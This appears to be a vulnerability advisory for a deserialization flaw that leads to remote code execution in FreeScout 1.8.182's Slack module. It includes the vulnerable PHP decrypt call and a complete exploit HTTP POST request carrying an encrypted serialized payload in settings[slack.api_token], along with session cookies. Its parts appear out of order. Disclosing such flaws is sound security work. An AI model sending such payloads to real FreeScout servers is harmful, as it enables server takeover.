public static function apiCall($method, $params = [])
{
$token = \Helper::decrypt(\Option::get('slack.api_token'));
if (!$token) {
return ['ok' => false, 'error' => 'not_authed'];
}
$interactor = new CurlInteractor;
$interactor->setResponseFactory(new SlackResponseFactory);
$commander = new Commander($token, $interactor);
$response = $commander->execute($method, $params);
$body = $response->getBody();
//print_r($response);
if (empty($body['ok'])) {
\Helper::log('slack', 'API error: '.json_encode($body).'; Method: '.$method.'; Parameters: '.json_encode($params));
}
return $body;
}
POST /app-settings/slack HTTP/1.1
Host: freescout.web-hacks.ru
Cookie: laravel_session=eyJpdiI6InM1RFJuNmEwaHk0ZDQrRk9ma3NPNXc9PSIsInZhbHVlIjoiYWpyRm5oMHhVZHd4Uko2azdaWGJlSzVLd2c3OXY0djFZQjhINVVLSE1Ic09hOHVzVUxHS25hMFdlbFBMWmNldHh6YkdqamNcLzhuUHc1UWtiaWJuOU1zTjUwNVZaQmtFb3M1cmtYZGx4T2hkbW84MDdnaVVmMnRMXC90SGlGZkd4MSIsIm1hYyI6IjkwMzU5ZTBkYzQ5ZjBiOTU4Yjk1OGZiNThiNDQwOTQzZWJmZTk3NDM5OGM1ODVjYmZhMDE4YmEzOWM1NzRmZDAifQ%3D%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 802
Origin: https://freescout.web-hacks.ru
Referer: https://freescout.web-hacks.ru/app-settings/slack
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
_token=VQwhZNsCTSq8oYSYD9yI5iGAei4fL6U5wQIYmZKx&settings%5Bslack.api_token%5D=eyJpdiI6ICJSMVJaR3p0d1V1eVVteTI5aVVlRFVBPT0iLCAidmFsdWUiOiAidmhmTlduNmVFbzI5ay9hc2RKeHZaaWNiaTJtNTZ4c1l4TjEzdHhjZlJrZDhxdnRzUEt1N005dHRnR1lyaHI5dm5nNXBnVTFleVNPN0RVR0c0THdmemRWWm9XNlZMbHFsRlBKZUJtUnJSSWYxc0Jrak5BV3FhUVJiTjROY2dvNGNFMFNTZE1ZejU1WW1nSG1MNkhMOEFreGV5THVEbUtIeTkySjRxQTdlSmNzaGxsUkRob1o1YkVkYnlFWGc2QzdEV3ZadkRoSnNIT2NscEd4amFWb01HcHV6U3RrWXAvT0krSDYxWmxxTDlLYXczcnNsM1drSXp4cWpaS29vWWhvYXJQMDd4VEZ2YnZOL0dJYUJnU0FJNk5OTHQwNVlXOHJhL0ZrRW0vUjdXaS8vZGVDaWdvSStjYXhLdDVVa040SW14MTFYYzV6L3ZRVmxDR3F6QWJVRkk1MGQxZnQ5d2VVSmNOU1Y0TDJTTHA5M1NsUXYvMXgrVUVTL2F6ckRacFNoZkFGQU0wNndvaFRtOTRSZWh4bE5xUT09IiwgIm1hYyI6ICJhOGM3MmVjNzI0NzNkMDQ0ZGYwNGQxMTJmMThlNzM1ZTJlYWY5YjgyZDlkY2M3YWY1MzAxNGU4MTZkMGRlYjgyIiwgInRhZyI6ICIifQ==
Deserialization of untrusted data leads to Remote code execution [8]
Product: FreeScout
Version: 1.8.182
CWE-ID:
• CWE-502: Deserialization of Untrusted Data
• CAPEC-586: Object Injection
CVSS vector v.4.0: 7.0 (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N)
Description: The application performs deserialization of data that can be tampered with. An attacker can create objects of arbitrary classes, as well as fully control their properties, thereby allowing them to manipulate the web application's logic.
Vulnerable scenarios: /app-settings/slack
Vulnerable parameters: POST settings[slack.api_token]
Exploitation conditions: authorized user with admin rights, APP_KEY knowledge, installed Slack module
Researchers: Daniil Satyaev, Roman Cheremnykh, Artem Danilov (Positive Technologies)
Research
Vulnerable code:
Listing Code snippet exploiting the vulnerable function Helper::decrypt (Modules/Slack/Providers/SlackServiceProvider.php)
Exploitation scenario:
Listing HTTP-request to exploit «Deserialization of untrusted data»